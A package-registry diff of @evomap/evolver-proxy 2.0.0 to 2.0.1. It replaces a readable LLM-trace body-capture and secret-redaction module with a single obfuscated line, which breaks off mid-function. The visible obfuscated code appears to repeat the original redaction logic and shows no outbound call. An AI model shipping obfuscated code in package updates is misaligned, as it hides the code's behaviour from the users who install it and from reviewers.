@evomap/evolver-proxy 2.0.0 → 2.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,293 +1 @@
1
- // Native request/response BODY capture for LLM traces.
2
- //
3
- // V1-COMPATIBLE DEFAULT: body capture is enabled unless explicitly downgraded with EVOMAP_PROXY_TRACE=metadata/off
4
- // or EVOLVER_LLM_TRACE_CAPTURE_BODIES=0. Captured bodies still go through redaction + size caps, and trace storage
5
- // must fail closed into an encrypted envelope unless the operator explicitly disables trace encryption.
6
- //
7
- // COMPLIANCE GATE: enabling this on real user traffic is a product/compliance decision (user consent, disclosure,
8
- // retention policy). Operators that need metadata-only traces must explicitly configure that downgrade so it is a
9
- // deliberate deployment choice rather than an accidental default.
10
- //
11
- import { createHash } from 'node:crypto';
12
- // Redaction here is best-effort structural scrubbing (emails, phones, card numbers, bearer/api keys, JWTs) plus a
13
- // hard Hub/envelope-sized cap. It is NOT a substitute for a real downstream redaction/PII policy; it exists so
14
- // that captured bodies are never stored fully raw, and so the `redaction` marker on a row reflects an actual pass.
15
- // When a body exceeds the cap, do not keep a preview: downstream must treat the turn as incomplete, not as a
16
- // smaller-but-usable body.
17
- /** Bump when the redaction ruleset changes so downstream can tell which scrub a row went through. */
18
- export const REDACTION_VERSION = 'evolver-redact-v2';
19
- function truthy(value) {
20
- const raw = String(value ?? '').trim().toLowerCase();
21
- return raw === '1' || raw === 'true' || raw === 'on' || raw === 'yes';
22
- }
23
- function firstConfiguredEnv(env, names) {
24
- for (const name of names) {
25
- const value = env[name];
26
- if (value !== undefined && value.trim() !== '')
27
- return value;
28
- }
29
- return undefined;
30
- }
31
- export function legacyProxyTraceFullEnabled(env = process.env) {
32
- const raw = env['EVOMAP_PROXY_TRACE'];
33
- if (raw === undefined || raw.trim() === '')
34
- return true;
35
- return raw.trim().toLowerCase() === 'full';
36
- }
37
- /**
38
- * Native body capture switch. Defaults to the v1-compatible full trace mode, but explicit v2 capture flags win so
39
- * operators can disable body capture without also setting the legacy EVOMAP_PROXY_TRACE knob.
40
- */
41
- export function captureBodiesEnabled(env = process.env) {
42
- const explicitCapture = firstConfiguredEnv(env, [
43
- 'EVOLVER_LLM_TRACE_CAPTURE_BODIES',
44
- 'EVOMAP_PROXY_TRACE_CAPTURE_BODIES',
45
- ]);
46
- if (explicitCapture !== undefined)
47
- return truthy(explicitCapture);
48
- return legacyProxyTraceFullEnabled(env);
49
- }
50
- /** Default per-body cap (bytes), aligned with the public Hub mailbox outbound envelope limit. A single trace may
51
- * still exceed the final encrypted outbound envelope when it carries multiple large bodies; in that case the row
52
- * is explicitly marked incomplete rather than silently downgraded to a preview. */
53
- export const DEFAULT_TRACE_ENVELOPE_MAX_CHARS = 4 * 1024 * 1024;
54
- const AUTHORIZATION_KEY_RE = /^(?:proxy[-_]?)?authorization$/i;
55
- const AUTHORIZATION_VALUE_RE = /^(\s*[A-Za-z][A-Za-z0-9!#$%&'*+.^_`|~-]*\s+)[\s\S]+$/;
56
- function redactAuthorizationValue(value) {
57
- const match = AUTHORIZATION_VALUE_RE.exec(value);
58
- if (match?.[1])
59
- return `${match[1]}[REDACTED_TOKEN]`;
60
- return value.trim() ? '[REDACTED_TOKEN]' : value;
61
- }
62
- export function bodyMaxChars(env = process.env) {
63
- return positiveIntegerFromEnv(env, ['EVOLVER_LLM_TRACE_BODY_MAX_CHARS', 'EVOMAP_PROXY_TRACE_MAX_FIELD_BYTES'], traceEnvelopeMaxChars(env));
64
- }
65
- export function traceEnvelopeMaxChars(env = process.env) {
66
- return positiveIntegerFromEnv(env, ['EVOLVER_LLM_TRACE_ENVELOPE_MAX_CHARS', 'EVOMAP_PROXY_TRACE_ENVELOPE_MAX_BYTES'], DEFAULT_TRACE_ENVELOPE_MAX_CHARS);
67
- }
68
- export function positiveIntegerFromEnv(env, names, fallback) {
69
- for (const name of names) {
70
- const raw = Number(env[name]);
71
- if (Number.isSafeInteger(raw) && raw > 0)
72
- return raw;
73
- }
74
- return fallback;
75
- }
76
- const REDACTORS = [
77
- // Env/config dump lines such as FOO_API_KEY=... or "fooToken": "...". Keep the key name; replace only value.
78
- { re: /(\b[A-Za-z_][A-Za-z0-9_]*(?:API[_-]?KEY|TOKEN|SECRET|PASSWORD|CREDENTIAL|AUTH|PRIVATE[_-]?KEY)\b\s*[:=]\s*)(["']?)([^"'\s,}\]]{6,})\2/gi, with: '$1[REDACTED_SECRET]' },
79
- // Plain upstream error pages often echo HTTP headers outside JSON.
80
- {
81
- re: /(\b(?:proxy-)?authorization\s*:\s*)([^\r\n]+)/gi,
82
- with: (_match, prefix, value) => `${String(prefix)}${redactAuthorizationValue(String(value ?? ''))}`,
83
- },
84
- // JSON/text fragments such as {"Authorization":"Bearer ..."} or escaped {\"Proxy-Authorization\":\"Basic ...\"}.
85
- {
86
- re: /((?:\\?["'])\s*(?:proxy-)?authorization\s*(?:\\?["'])\s*:\s*(?:\\?["']))((?:(?!\\?["'])[\s\S])*?)((?:\\?["']))/gi,
87
- with: (_match, prefix, value, suffix) => `${String(prefix)}${redactAuthorizationValue(String(value ?? ''))}${String(suffix)}`,
88
- },
89
- { re: /(\bcookie\s*:\s*)[^\r\n]+/gi, with: '$1[REDACTED_COOKIE]' },
90
- // PEM private keys.
91
- { re: /-----BEGIN [A-Z ]*PRIVATE KEY-----[\s\S]*?-----END [A-Z ]*PRIVATE KEY-----/g, with: '[REDACTED_PRIVATE_KEY]' },
92
- // Bearer tokens / Authorization header values.
93
- { re: /\b[Bb]earer\s+[A-Za-z0-9._~+/-]{12,}=*/g, with: 'Bearer [REDACTED_TOKEN]' },
94
- // Provider API keys (OpenAI sk-..., Anthropic sk-ant-..., generic long secret-ish keys).
95
- { re: /\bsk-(?:ant-)?[A-Za-z0-9._-]{16,}/g, with: '[REDACTED_API_KEY]' },
96
- // GitHub personal access tokens.
97
- { re: /\bghp_[A-Za-z0-9_]{20,}\b/g, with: '[REDACTED_GITHUB_TOKEN]' },
98
- { re: /\bgithub_pat_[A-Za-z0-9_]{20,}\b/g, with: '[REDACTED_GITHUB_TOKEN]' },
99
- // Slack bot/user/app tokens.
100
- { re: /\bxox[abcprs]-[A-Za-z0-9-]{10,}\b/g, with: '[REDACTED_SLACK_TOKEN]' },
101
- // Common key/value credentials in text, JSON, YAML, query strings, and form bodies.
102
- {
103
- re: /((?:"|')?\b(?:api[_-]?key|password|client[_-]?secret|access[_-]?token|refresh[_-]?token|id[_-]?token|token)\b(?:"|')?\s*[:=]\s*)("[^"\r\n]*"|'[^'\r\n]*')/gi,
104
- with: '$1"[REDACTED_CREDENTIAL]"',
105
- },
106
- {
107
- re: /((?:"|')?\b(?:api[_-]?key|password|client[_-]?secret|access[_-]?token|refresh[_-]?token|id[_-]?token|token)\b(?:"|')?\s*[:=]\s*)(?!["'])[^\r\n,&}]+/gi,
108
- with: '$1[REDACTED_CREDENTIAL]',
109
- },
110
- // AWS access key ids.
111
- { re: /\bAKIA[0-9A-Z]{16}\b/g, with: '[REDACTED_AWS_KEY]' },
112
- // JWTs (three base64url segments).
113
- { re: /\beyJ[A-Za-z0-9_-]{8,}\.[A-Za-z0-9_-]{8,}\.[A-Za-z0-9_-]{8,}/g, with: '[REDACTED_JWT]' },
114
- // Email addresses.
115
- { re: /\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}\b/g, with: '[REDACTED_EMAIL]' },
116
- // Credit-card-like 13-19 digit runs (allowing spaces/dashes).
117
- { re: /\b(?:\d[ -]?){13,19}\b/g, with: '[REDACTED_CARD]', structuredIdentifierSafe: false },
118
- // Long digit runs that look like phone numbers / national ids (11+ digits, optional +).
119
- { re: /\+?\d[\d\s-]{9,}\d/g, with: '[REDACTED_NUMBER]', structuredIdentifierSafe: false },
120
- ];
121
- function applyRedactors(input, options = {}) {
122
- let out = input;
123
- for (const r of REDACTORS) {
124
- if (options.preserveStructuredIdentifierNumbers === true && r.structuredIdentifierSafe === false)
125
- continue;
126
- const replacement = r.with;
127
- out = typeof replacement === 'string'
128
- ? out.replace(r.re, replacement)
129
- : out.replace(r.re, (...args) => replacement(args[0], ...args.slice(1)));
130
- }
131
- return out;
132
- }
133
- /** Apply the redaction ruleset to a string. Pure; safe on arbitrary text. */
134
- export function redactText(input) {
135
- return applyRedactors(input);
136
- }
137
- const SENSITIVE_KEY_RE = /(?:^|[_-])(?:api[_-]?key|token|secret|password|credential|authorization|auth|bearer|access[_-]?key|private[_-]?key|client[_-]?secret|refresh[_-]?token|id[_-]?token|session[_-]?token|cookie|dsn)(?:$|[_-])|(?:api[_-]?key|token|secret|password|credential|authorization|auth|private[_-]?key)$/i;
138
- const STRUCTURED_IDENTIFIER_KEY_RE = /(?:^|[_-])(?:id|ids|fingerprint|hash|timestamp|time)(?:$|[_-])|(?:^|[_-])(?:created|updated|occurred|started|ended)[_-]at(?:$|[_-])/i;
139
- const STABLE_IDENTITY_KEY_RE = /(?:^|[_-])(?:user|session|device)[_-]?id(?:$|[_-])/i;
140
- const MAX_REDACTION_DEPTH = 30;
141
- function keyParts(key) {
142
- return key
143
- .replace(/([a-z0-9])([A-Z])/g, '$1_$2')
144
- .replace(/[^A-Za-z0-9]+/g, '_')
145
- .toLowerCase();
146
- }
147
- function redactValueForKey(value) {
148
- if (value === undefined || value === null)
149
- return value;
150
- if (Array.isArray(value))
151
- return value.map(() => '[REDACTED_SECRET]');
152
- if (typeof value === 'object')
153
- return '[REDACTED_SECRET]';
154
- return '[REDACTED_SECRET]';
155
- }
156
- function redactSensitiveKeyValue(key, value) {
157
- if (AUTHORIZATION_KEY_RE.test(key) && typeof value === 'string') {
158
- return redactAuthorizationValue(value);
159
- }
160
- return redactValueForKey(value);
161
- }
162
- function isStableIdentityKey(key) {
163
- return STABLE_IDENTITY_KEY_RE.test(keyParts(key));
164
- }
165
- // Claude Code's metadata.user_id has the shape
166
- // `user_<accountHash>_account__session_<sessionUuid>`. The session uuid changes
167
- // every session, so hashing the whole value yields a different id per session,
168
- // which breaks downstream cross-session de-duplication / anti-sybil. We strip
169
- // the `__session_<uuid>` suffix and hash only the stable account portion so the
170
- // same real account maps to the same redacted id across sessions. Non-Claude
171
- // values (no `__session_` marker) fall back to hashing the whole value.
172
- function stableIdentityHashSource(value) {
173
- let serialized;
174
- try {
175
- serialized = typeof value === 'string' ? value : JSON.stringify(value);
176
- }
177
- catch {
178
- serialized = String(value);
179
- }
180
- const sessionMarker = serialized.indexOf('__session_');
181
- if (sessionMarker > 0)
182
- return serialized.slice(0, sessionMarker);
183
- return serialized;
184
- }
185
- function stableIdentityPlaceholder(value) {
186
- const source = stableIdentityHashSource(value);
187
- const hash = createHash('sha256').update(`evomap-stable-identity-v1:${source}`, 'utf8').digest('hex').slice(0, 16);
188
- return `[REDACTED_ID_SHA256:${hash}]`;
189
- }
190
- function redactStableIdentityValue(value) {
191
- if (value === undefined || value === null)
192
- return value;
193
- return stableIdentityPlaceholder(value);
194
- }
195
- // Deterministic, cross-session-stable account hash. Reuses stableIdentityHashSource
196
- // so it matches the in-place redacted user_id token, and lets us emit an explicit
197
- // user_id_hash sibling for downstream de-dup/anti-sybil.
198
- export function stableUserIdHash(value) {
199
- const source = stableIdentityHashSource(value);
200
- return createHash('sha256').update(`evomap-stable-identity-v1:${source}`, 'utf8').digest('hex').slice(0, 16);
201
- }
202
- const USER_ID_KEY_RE = /(?:^|[_-])user[_-]?id(?:$|[_-])/i;
203
- function shouldPreserveStructuredIdentifierNumbers(key) {
204
- if (key === undefined)
205
- return false;
206
- return STRUCTURED_IDENTIFIER_KEY_RE.test(keyParts(key));
207
- }
208
- function redactStructured(value, depth = 0, keyContext) {
209
- if (value === undefined || value === null)
210
- return value;
211
- if (typeof value === 'string') {
212
- return applyRedactors(value, {
213
- preserveStructuredIdentifierNumbers: shouldPreserveStructuredIdentifierNumbers(keyContext),
214
- });
215
- }
216
- if (typeof value === 'number' || typeof value === 'boolean')
217
- return value;
218
- if (depth > MAX_REDACTION_DEPTH)
219
- return '[MAX_REDACTION_DEPTH]';
220
- if (Array.isArray(value))
221
- return value.map((item) => redactStructured(item, depth + 1, keyContext));
222
- if (typeof value !== 'object')
223
- return value;
224
- const out = {};
225
- for (const [key, child] of Object.entries(value)) {
226
- out[key] = SENSITIVE_KEY_RE.test(key)
227
- ? redactSensitiveKeyValue(key, child)
228
- : (isStableIdentityKey(key) ? redactStableIdentityValue(child) : redactStructured(child, depth + 1, key));
229
- // Emit a stable, cross-session user_id_hash alongside the redacted user_id so
230
- // downstream de-dup/anti-sybil has a deterministic per-account key.
231
- if (USER_ID_KEY_RE.test(key) && (typeof child === 'string' || typeof child === 'number') && out['user_id_hash'] === undefined) {
232
- out['user_id_hash'] = stableUserIdHash(child);
233
- }
234
- }
235
- return out;
236
- }
237
- function incompleteCaptureEnvelope(redactedChars, redactedBytes, maxBytes) {
238
- return JSON.stringify({
239
- truncated: true,
240
- capture_complete: false,
241
- body_omitted: true,
242
- reason: 'body_exceeds_trace_body_max_bytes',
243
- redacted_bytes: redactedBytes,
244
- max_bytes: maxBytes,
245
- omitted_bytes: redactedBytes,
246
- excess_bytes: Math.max(0, redactedBytes - maxBytes),
247
- redacted_chars: redactedChars,
248
- max_chars: maxBytes,
249
- omitted_chars: redactedChars,
250
- excess_chars: Math.max(0, redactedChars - maxBytes),
251
- redaction: REDACTION_VERSION,
252
- });
253
- }
254
- function tryParseJson(value) {
255
- try {
256
- return JSON.parse(value);
257
- }
258
- catch {
259
- return undefined;
260
- }
261
- }
262
- /**
263
- * Serialize a native request/response payload, run it through redaction, and cap its size. Never throws — capture
264
- * must never break serving — returning a small error envelope instead. Returns undefined for empty/absent input.
265
- */
266
- export function captureBody(value, env = process.env) {
267
- if (value === undefined || value === null)
268
- return undefined;
269
- let serialized;
270
- try {
271
- if (typeof value === 'string') {
272
- const parsed = tryParseJson(value);
273
- serialized = parsed === undefined ? redactText(value) : JSON.stringify(redactStructured(parsed));
274
- }
275
- else {
276
- serialized = JSON.stringify(redactStructured(value));
277
- }
278
- }
279
- catch {
280
- return { body: '"[unserializable_body]"', truncated: false, redaction: REDACTION_VERSION };
281
- }
282
- if (!serialized)
283
- return undefined;
284
- const redacted = serialized;
285
- const maxBytes = bodyMaxChars(env);
286
- const redactedBytes = Buffer.byteLength(redacted, 'utf8');
287
- const truncated = redactedBytes > maxBytes;
288
- return {
289
- body: truncated ? incompleteCaptureEnvelope(redacted.length, redactedBytes, maxBytes) : redacted,
290
- truncated,
291
- redaction: REDACTION_VERSION,
292
- };
293
- }
1
+ const _0x1f2bd4=_0xea3f;(function(_0x16f06e,_0x14de14){const _0x55bb99=_0xea3f,_0x5255a0=_0x16f06e();while(!![]){try{const _0x386ba5=-parseInt(_0x55bb99(0x116,'\x6e\x4c\x68\x34'))/(-0x1c73+-0x9e8+0x265c)*(parseInt(_0x55bb99(0x82,'\x5d\x28\x75\x2a'))/(-0x1*0xb0d+-0x5b9*0x1+-0xc*-0x166))+-parseInt(_0x55bb99(0x115,'\x63\x45\x26\x72'))/(0x706*-0x2+0x2661+-0x1852)+-parseInt(_0x55bb99(0x12f,'\x79\x34\x78\x23'))/(0xda4+-0x1*-0xae7+-0x1887)*(-parseInt(_0x55bb99(0xb4,'\x40\x57\x6e\x57'))/(-0x62*0x1c+0x132f+-0x872))+-parseInt(_0x55bb99(0x87,'\x75\x72\x68\x28'))/(-0xf9f+-0x4e*-0x6b+-0x10f5*0x1)*(-parseInt(_0x55bb99(0x76,'\x6c\x46\x51\x7a'))/(-0x5*0x33d+-0x23*-0xa+0xeda*0x1))+parseInt(_0x55bb99(0x7d,'\x78\x58\x30\x73'))/(0x5*-0x1f7+-0xbe0+0x15bb)*(parseInt(_0x55bb99(0xd4,'\x50\x6e\x78\x35'))/(-0x14f6*0x1+0x1871+0x62*-0x9))+-parseInt(_0x55bb99(0xe4,'\x73\x6d\x48\x58'))/(0x1*-0xb4d+-0xbbf+-0x3d9*-0x6)*(-parseInt(_0x55bb99(0xac,'\x50\x37\x35\x6b'))/(-0x23*0x9d+-0x4a*0x19+0x4*0x72f))+-parseInt(_0x55bb99(0x109,'\x34\x49\x40\x70'))/(0x25*0x3e+-0x2*0x152+-0x646);if(_0x386ba5===_0x14de14)break;else _0x5255a0['push'](_0x5255a0['shift']());}catch(_0x2f04f7){_0x5255a0['push'](_0x5255a0['shift']());}}}(_0x5324,0x6e5d*0xd+0x10fd6*0x2+-0x135f3));import{createHash}from'\x6e\x6f\x64\x65\x3a\x63\x72\x79\x70\x74\x6f';export const REDACTION_VERSION='\x65\x76\x6f\x6c\x76\x65\x72\x2d'+_0x1f2bd4(0xa4,'\x50\x6e\x78\x35')+'\x32';function truthy(_0x1a73a4){const _0x48e142=_0x1f2bd4,_0x3e135d=String(_0x1a73a4??'')[_0x48e142(0xa1,'\x6b\x72\x24\x29')]()[_0x48e142(0x81,'\x37\x7a\x62\x35')+'\x61\x73\x65']();return _0x3e135d==='\x31'||_0x3e135d===_0x48e142(0x88,'\x4b\x34\x44\x74')||_0x3e135d==='\x6f\x6e'||_0x3e135d===_0x48e142(0x78,'\x44\x52\x4b\x43');}function firstConfiguredEnv(_0x3abdfa,_0x58c7e2){const _0x58c42c=_0x1f2bd4;for(const _0x1374e8 of _0x58c7e2){const _0x1879e8=_0x3abdfa[_0x1374e8];if(_0x1879e8!==undefined&&_0x1879e8[_0x58c42c(0xc2,'\x61\x25\x56\x64')]()!=='')return _0x1879e8;}return undefined;}export function legacyProxyTraceFullEnabled(_0x4f30fe=process.env){const _0x2bfb62=_0x1f2bd4,_0x5cbb79=_0x4f30fe[_0x2bfb62(0x121,'\x40\x57\x6e\x57')+_0x2bfb62(0xfd,'\x76\x77\x5a\x42')+'\x43\x45'];if(_0x5cbb79===undefined||_0x5cbb79[_0x2bfb62(0x96,'\x63\x45\x26\x72')]()==='')return!![];return _0x5cbb79[_0x2bfb62(0xa3,'\x45\x30\x40\x68')]()['\x74\x6f\x4c\x6f\x77\x65\x72\x43'+_0x2bfb62(0xdf,'\x50\x37\x35\x6b')]()===_0x2bfb62(0xa5,'\x4c\x21\x58\x76');}export function captureBodiesEnabled(_0x5ac27e=process.env){const _0xfd887b=_0x1f2bd4,_0x374159=firstConfiguredEnv(_0x5ac27e,[_0xfd887b(0xf7,'\x61\x25\x56\x64')+_0xfd887b(0x8f,'\x78\x58\x30\x73')+_0xfd887b(0xa0,'\x61\x25\x56\x64')+_0xfd887b(0xad,'\x61\x25\x56\x64'),'\x45\x56\x4f\x4d\x41\x50\x5f\x50'+_0xfd887b(0x8b,'\x5d\x70\x48\x25')+_0xfd887b(0xe3,'\x6b\x72\x24\x29')+_0xfd887b(0x114,'\x44\x52\x4b\x43')+'\x53']);if(_0x374159!==undefined)return truthy(_0x374159);return legacyProxyTraceFullEnabled(_0x5ac27e);}export const DEFAULT_TRACE_ENVELOPE_MAX_CHARS=(0x2*0x198+0xf*0x3b+-0x6a1)*(-0x4*0x121+-0x259*-0x10+-0x1a*0x11e)*(-0x8cf*-0x3+-0x9e*-0x33+-0x35e7);const AUTHORIZATION_KEY_RE=/^(?:proxy[-_]?)?authorization$/i,AUTHORIZATION_VALUE_RE=/^(\s*[A-Za-z][A-Za-z0-9!#$%&'*+.^_`|~-]*\s+)[\s\S]+$/;function redactAuthorizationValue(_0x405daf){const _0x1090c5=_0x1f2bd4,_0x4a505b=AUTHORIZATION_VALUE_RE[_0x1090c5(0xe5,'\x73\x44\x50\x47')](_0x405daf);if(_0x4a505b?.[-0x1*-0x2109+0x2c2+-0x1*0x23ca])return _0x4a505b[0x1*0x1f49+0x362+-0x22aa*0x1]+(_0x1090c5(0x118,'\x6e\x73\x47\x51')+_0x1090c5(0xca,'\x6e\x73\x47\x51'));return _0x405daf[_0x1090c5(0xc6,'\x7a\x43\x39\x24')]()?_0x1090c5(0x86,'\x78\x58\x30\x73')+_0x1090c5(0x129,'\x57\x53\x31\x48'):_0x405daf;}export function bodyMaxChars(_0x3cd5f1=process.env){const _0x12281e=_0x1f2bd4;return positiveIntegerFromEnv(_0x3cd5f1,[_0x12281e(0x9e,'\x44\x52\x4b\x43')+'\x4c\x4c\x4d\x5f\x54\x52\x41\x43'+_0x12281e(0x10d,'\x50\x6e\x78\x35')+_0x12281e(0xd7,'\x6e\x73\x47\x51'),_0x12281e(0x12e,'\x61\x25\x56\x64')+_0x12281e(0xcc,'\x58\x23\x24\x59')+_0x12281e(0x111,'\x56\x53\x54\x77')+'\x49\x45\x4c\x44\x5f\x42\x59\x54'+'\x45\x53'],traceEnvelopeMaxChars(_0x3cd5f1));}export function traceEnvelopeMaxChars(_0x45885d=process.env){const _0x31a1f2=_0x1f2bd4;return positiveIntegerFromEnv(_0x45885d,[_0x31a1f2(0xf0,'\x79\x34\x78\x23')+'\x4c\x4c\x4d\x5f\x54\x52\x41\x43'+_0x31a1f2(0x7a,'\x5d\x21\x41\x33')+_0x31a1f2(0x134,'\x37\x7a\x62\x35')+_0x31a1f2(0xf3,'\x44\x52\x4b\x43'),_0x31a1f2(0x12e,'\x61\x25\x56\x64')+'\x52\x4f\x58\x59\x5f\x54\x52\x41'+_0x31a1f2(0xc4,'\x5b\x25\x66\x23')+_0x31a1f2(0x74,'\x63\x45\x26\x72')+_0x31a1f2(0xf1,'\x53\x5d\x67\x74')],DEFAULT_TRACE_ENVELOPE_MAX_CHARS);}export function positiveIntegerFromEnv(_0x167eb6,_0x2179a6,_0x9d4ef1){const _0x56c8aa=_0x1f2bd4;for(const _0x5dd501 of _0x2179a6){const _0x105238=Number(_0x167eb6[_0x5dd501]);if(Number[_0x56c8aa(0xc5,'\x61\x25\x56\x64')+_0x56c8aa(0x9a,'\x5a\x66\x25\x32')](_0x105238)&&_0x105238>0x1*-0x14a1+-0xa*-0x36e+-0xdab)return _0x105238;}return _0x9d4ef1;}const REDACTORS=[{'\x72\x65':/(\b[A-Za-z_][A-Za-z0-9_]*(?:API[_-]?KEY|TOKEN|SECRET|PASSWORD|CREDENTIAL|AUTH|PRIVATE[_-]?KEY)\b\s*[:=]\s*)(["']?)([^"'\s,}\]]{6,})\2/gi,'\x77\x69\x74\x68':_0x1f2bd4(0x12a,'\x6b\x72\x24\x29')+_0x1f2bd4(0xe0,'\x46\x61\x54\x78')+_0x1f2bd4(0xfc,'\x40\x57\x6e\x57')},{'\x72\x65':/(\b(?:proxy-)?authorization\s*:\s*)([^\r\n]+)/gi,'\x77\x69\x74\x68':(_0x41e200,_0x5336a9,_0x24e840)=>''+String(_0x5336a9)+redactAuthorizationValue(String(_0x24e840??''))},{'\x72\x65':/((?:\\?["'])\s*(?:proxy-)?authorization\s*(?:\\?["'])\s*:\s*(?:\\?["']))((?:(?!\\?["'])[\s\S])*?)((?:\\?["']))/gi,'\x77\x69\x74\x68':(_0x330690,_0x2a6bc1,_0x47282d,_0x32fef2)=>''+String(_0x2a6bc1)+redactAuthorizationValue(String(_0x47282d??''))+String(_0x32fef2)},{'\x72\x65':/(\bcookie\s*:\s*)[^\r\n]+/gi,'\x77\x69\x74\x68':_0x1f2bd4(0xaa,'\x73\x44\x50\x47')+_0x1f2bd4(0xb6,'\x61\x25\x56\x64')+_0x1f2bd4(0x98,'\x40\x57\x6e\x57')},{'\x72\x65':/-----BEGIN [A-Z ]*PRIVATE KEY-----[\s\S]*?-----END [A-Z ]*PRIVATE KEY-----/g,'\x77\x69\x74\x68':'\x5b\x52\x45\x44\x41\x43\x54\x45'+'\x44\x5f\x50\x52\x49\x56\x41\x54'+_0x1f2bd4(0x112,'\x6e\x73\x47\x51')},{'\x72\x65':/\b[Bb]earer\s+[A-Za-z0-9._~+/-]{12,}=*/g,'\x77\x69\x74\x68':_0x1f2bd4(0x84,'\x50\x6e\x78\x35')+'\x52\x45\x44\x41\x43\x54\x45\x44'+_0x1f2bd4(0x126,'\x56\x50\x6f\x59')},{'\x72\x65':/\bsk-(?:ant-)?[A-Za-z0-9._-]{16,}/g,'\x77\x69\x74\x68':'\x5b\x52\x45\x44\x41\x43\x54\x45'+'\x44\x5f\x41\x50\x49\x5f\x4b\x45'+'\x59\x5d'},{'\x72\x65':/\bghp_[A-Za-z0-9_]{20,}\b/g,'\x77\x69\x74\x68':_0x1f2bd4(0x99,'\x61\x40\x5d\x78')+_0x1f2bd4(0x8d,'\x4b\x34\x44\x74')+_0x1f2bd4(0x117,'\x78\x58\x30\x73')},{'\x72\x65':/\bgithub_pat_[A-Za-z0-9_]{20,}\b/g,'\x77\x69\x74\x68':_0x1f2bd4(0xc9,'\x52\x46\x23\x6b')+_0x1f2bd4(0x10c,'\x63\x45\x26\x72')+_0x1f2bd4(0xb2,'\x63\x45\x26\x72')},{'\x72\x65':/\bxox[abcprs]-[A-Za-z0-9-]{10,}\b/g,'\x77\x69\x74\x68':_0x1f2bd4(0x12c,'\x6b\x72\x24\x29')+_0x1f2bd4(0xce,'\x56\x53\x54\x77')+_0x1f2bd4(0xe2,'\x49\x78\x64\x64')},{'\x72\x65':/((?:"|')?\b(?:api[_-]?key|password|client[_-]?secret|access[_-]?token|refresh[_-]?token|id[_-]?token|token)\b(?:"|')?\s*[:=]\s*)("[^"\r\n]*"|'[^'\r\n]*')/gi,'\x77\x69\x74\x68':_0x1f2bd4(0x131,'\x37\x7a\x62\x35')+'\x43\x54\x45\x44\x5f\x43\x52\x45'+_0x1f2bd4(0xbd,'\x75\x32\x66\x64')+'\x22'},{'\x72\x65':/((?:"|')?\b(?:api[_-]?key|password|client[_-]?secret|access[_-]?token|refresh[_-]?token|id[_-]?token|token)\b(?:"|')?\s*[:=]\s*)(?!["'])[^\r\n,&}]+/gi,'\x77\x69\x74\x68':_0x1f2bd4(0xff,'\x56\x53\x54\x77')+_0x1f2bd4(0x11d,'\x28\x62\x45\x6a')+_0x1f2bd4(0xec,'\x6e\x4c\x68\x34')},{'\x72\x65':/\bAKIA[0-9A-Z]{16}\b/g,'\x77\x69\x74\x68':_0x1f2bd4(0xf4,'\x63\x45\x26\x72')+_0x1f2bd4(0xe9,'\x4c\x21\x58\x76')+'\x59\x5d'},{'\x72\x65':/\beyJ[A-Za-z0-9_-]{8,}\.[A-Za-z0-9_-]{8,}\.[A-Za-z0-9_-]{8,}/g,'\x77\x69\x74\x68':_0x1f2bd4(0xbe,'\x75\x34\x5b\x6a')+_0x1f2bd4(0x120,'\x75\x34\x5b\x6a')},{'\x72\x65':/\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}\b/g,'\x77\x69\x74\x68':_0x1f2bd4(0xbe,'\x75\x34\x5b\x6a')+_0x1f2bd4(0x85,'\x4b\x34\x44\x74')},{'\x72\x65':/\b(?:\d[ -]?){13,19}\b/g,'\x77\x69\x74\x68':_0x1f2bd4(0xbb,'\x76\x77\x5a\x42')+_0x1f2bd4(0xf9,'\x4b\x34\x44\x74'),'\x73\x74\x72\x75\x63\x74\x75\x72\x65\x64\x49\x64\x65\x6e\x74\x69\x66\x69\x65\x72\x53\x61\x66\x65':![]},{'\x72\x65':/\+?\d[\d\s-]{9,}\d/g,'\x77\x69\x74\x68':_0x1f2bd4(0x9c,'\x28\x62\x45\x6a')+_0x1f2bd4(0xb8,'\x79\x36\x36\x59')+'\x5d','\x73\x74\x72\x75\x63\x74\x75\x72\x65\x64\x49\x64\x65\x6e\x74\x69\x66\x69\x65\x72\x53\x61\x66\x65':![]}];function applyRedactors(_0x5689cd,_0x3d46f0={}){const _0x578270=_0x1f2bd4;let _0x38b75a=_0x5689cd;for(const _0x32ee0b of REDACTORS){if(_0x578270(0x10f,'\x45\x6c\x25\x68')===_0x578270(0x12b,'\x52\x46\x23\x6b'))return _0x2e6a53(_0x4dc80f);else{if(_0x3d46f0[_0x578270(0x103,'\x56\x53\x54\x77')+_0x578270(0xda,'\x28\x78\x54\x65')+_0x578270(0xab,'\x5b\x25\x66\x23')+_0x578270(0x128,'\x61\x40\x5d\x78')+_0x578270(0xd1,'\x75\x34\x5b\x6a')]===!![]&&_0x32ee0b[_0x578270(0x7f,'\x5d\x28\x75\x2a')+_0x578270(0xea,'\x41\x4d\x45\x4a')+_0x578270(0x101,'\x4b\x34\x44\x74')]===![])continue;const _0xe616f1=_0x32ee0b[_0x578270(0xa8,'\x34\x49\x40\x70')];_0x38b75a=typeof _0xe616f1===_0x578270(0x75,'\x75\x32\x66\x64')?_0x38b75a[_0x578270(0x7c,'\x50\x37\x35\x6b')](_0x32ee0b['\x72\x65'],_0xe616f1):_0x38b75a[_0x578270(0x108,'\x28\x62\x45\x6a')](_0x32ee0b['\x72\x65'],(..._0x565aa3)=>_0xe616f1(_0x565aa3[-0xfa0+0x17db*0x1+-0x83b*0x1],..._0x565aa3['\x73\x6c\x69\x63\x65'](0x20c6*0x1+-0x1a79+-0x64c)));}}return _0x38b75a;}export function redactText(_0x13fbf8){return applyRedactors(_0x13fbf8);}const SENSITIVE_KEY_RE=/(?:^|[_-])(?:api[_-]?key|token|secret|password|credential|authorization|auth|bearer|access[_-]?key|private[_-]?key|client[_-]?secret|refresh[_-]?token|id[_-]?token|session[_-]?token|cookie|dsn)(?:$|[_-])|(?:api[_-]?key|token|secret|password|credential|authorization|auth|private[_-]?key)$/i,STRUCTURED_IDENTIFIER_KEY_RE=/(?:^|[_-])(?:id|ids|fingerprint|hash|timestamp|time)(?:$|[_-])|(?:^|[_-])(?:created|updated|occurred|started|ended)[_-]at(?:$|[_-])/i,STABLE_IDENTITY_KEY_RE=/(?:^|[_-])(?:user|session|device)[_-]?id(?:$|[_-])/i,MAX_REDACTION_DEPTH=0x1ef2+-0x1de2+-0xb*0x16;function keyParts(_0x45457b){const 